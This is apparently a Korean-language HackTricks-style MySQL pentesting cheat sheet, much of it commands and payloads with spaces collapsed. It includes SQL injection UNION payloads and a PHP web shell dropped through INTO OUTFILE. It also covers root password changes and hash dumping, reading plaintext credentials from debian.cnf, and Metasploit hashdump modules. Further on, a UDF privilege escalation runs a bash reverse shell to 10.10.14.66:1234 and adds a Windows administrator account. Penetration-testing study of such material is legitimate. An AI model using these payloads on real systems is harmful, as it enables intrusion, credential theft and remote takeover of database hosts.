showdatabases;use<database>;connect<database>;showtables;describe<table_name>;showcolumnsfrom<table>;selectversion(); #versionselect @@version(); #versionselect user(); #Userselect database(); #database name#Get a shell with the mysql client user\!sh#Basic MySQLiUnionSelect1,2,3,4,group_concat(0x7c,table_name,0x7C) frominformation_schema.tablesUnionSelect1,2,3,4,column_namefrominformation_schema.columnswheretable_name="<TABLE NAME>"#Read & Write## Yo need FILE privilege to read & write to files.select load_file('/var/lib/mysql-files/key.txt'); #Read fileselect 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'#Try to change MySQL root passwordUPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';FLUSH PRIVILEGES;quit;
mysql-uusername-p<manycommands.sql#A file with all the commands you want to executemysql-uroot-h127.0.0.1-e'show databases;'
MySQL 권한 열거
#MysqlSHOW GRANTS [FOR user];SHOW GRANTS;SHOW GRANTS FOR'root'@'localhost';SHOW GRANTS FORCURRENT_USER();# Get users, permissions & hashesSELECT*FROM mysql.user;#From DBselect*from mysql.user where user='root';## Get users with file_privselect user,file_priv from mysql.user where file_priv='Y';## Get users with Super_privselect user,Super_priv from mysql.user where Super_priv='Y';# List functionsSELECT routine_name FROM information_schema.routines WHERE routine_type ='FUNCTION';#@ Functions notfrom sys. dbSELECT routine_name FROM information_schema.routines WHERE routine_type ='FUNCTION'AND routine_schema!='sys';
실제로, 테이블에 로컬 데이터를 로드하려고 할 때 파일의 내용을 MySQL 또는 MariaDB 서버가 클라이언트에게 읽도록 요청하고 내용을 전송합니다. 따라서, mysql 클라이언트를 조작하여 자신의 MySQL 서버에 연결할 수 있다면, 임의의 파일을 읽을 수 있습니다.
이것은 다음을 사용할 때의 동작입니다:
(“local”이라는 단어에 주목하세요)
“local” 없이 다음과 같은 결과를 얻을 수 있습니다:
mysql> loaddatainfile"/etc/passwd"intotabletestFIELDSTERMINATEDBY'\n';ERROR1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
**admin_address**는 관리 네트워크 인터페이스에서 TCP/IP 연결을 수신하는 IP 주소를 지정합니다.
debug 변수는 로그 내의 민감한 정보를 포함하여 현재 디버깅 구성을 나타냅니다.
**sql_warnings**는 경고가 발생할 때 단일 행 INSERT 문에 대한 정보 문자열이 생성되는지 관리하며, 로그 내에 민감한 데이터를 포함합니다.
**secure_file_priv**는 보안을 강화하기 위해 데이터 가져오기 및 내보내기 작업의 범위를 제한합니다.
권한 상승
# Get current user (an all users) privileges and hashesusemysql;selectuser();selectuser,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_privfromuser;# Get users, permissions & credsSELECT*FROMmysql.user;mysql-uroot--password=<PASSWORD>-e"SELECT * FROM mysql.user;"# Create user and give privilegescreateusertestidentifiedby'test';grantSELECT,CREATE,DROP,UPDATE,DELETE,INSERTon*.*tomysqlidentifiedby'mysql'WITHGRANTOPTION;# Get a shell (with your permissions, usefull for sudo/suid privesc)\!sh
Privilege Escalation via library
만약 mysql 서버가 root (또는 더 높은 권한을 가진 다른 사용자)로 실행되고 있다면, 명령을 실행하도록 만들 수 있습니다. 이를 위해서는 사용자 정의 함수를 사용해야 합니다. 그리고 사용자 정의 함수를 만들기 위해서는 mysql이 실행되고 있는 OS에 대한 라이브러리가 필요합니다.
사용할 악성 라이브러리는 sqlmap과 metasploit 내에서 locate "*lib_mysqludf_sys*" 명령어를 통해 찾을 수 있습니다. .so 파일은 linux 라이브러리이고, .dll 파일은 Windows 라이브러리입니다. 필요한 것을 선택하세요.
만약 그 라이브러리들이 없다면, 찾아보거나, 이 linux C 코드를 다운로드하여 linux 취약한 머신 내에서 컴파일할 수 있습니다:
이제 라이브러리가 준비되었으니, 특권 사용자(루트?)로 Mysql에 로그인하고 다음 단계를 따르세요:
Linux
# Use a databaseuse mysql;# Create a tabletoload the library andmove it to the plugins dircreatetablenpn(line blob);# Load the binary library inside the table## You might need to change the pathandfilenameinsert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));# Get the plugin_dir pathshow variables like'%plugin%';# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/# dumpin there the libraryselect*from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';# Create a functiontoexecute commandscreatefunctionsys_execreturnsinteger soname 'lib_mysqludf_sys.so';# Execute commandsselect sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
윈도우
# CHech the linux comments for more indicationsUSE mysql;CREATETABLEnpn(line blob);INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));show variables like'%plugin%';SELECT*FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';CREATEFUNCTIONsys_execRETURNSinteger SONAME 'lib_mysqludf_sys_32.dll';SELECT sys_exec("net user npn npn12345678 /add");SELECT sys_exec("net localgroup Administrators npn /add");
MySQL 자격 증명 파일에서 추출하기
/etc/mysql/debian.cnf 내부에서 debian-sys-maint 사용자에 대한 일반 텍스트 비밀번호를 찾을 수 있습니다.
cat/etc/mysql/debian.cnf
당신은 이 자격 증명을 사용하여 mysql 데이터베이스에 로그인할 수 있습니다.
파일 /var/lib/mysql/mysql/user.MYD 안에는 MySQL 사용자들의 모든 해시(데이터베이스 내 mysql.user에서 추출할 수 있는 것들)가 있습니다_._
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
Protocol_Description: MySql #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.xyz/pentesting/pentesting-mysql
Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost
Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
RootedCON은 스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 임무를 가지고, 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.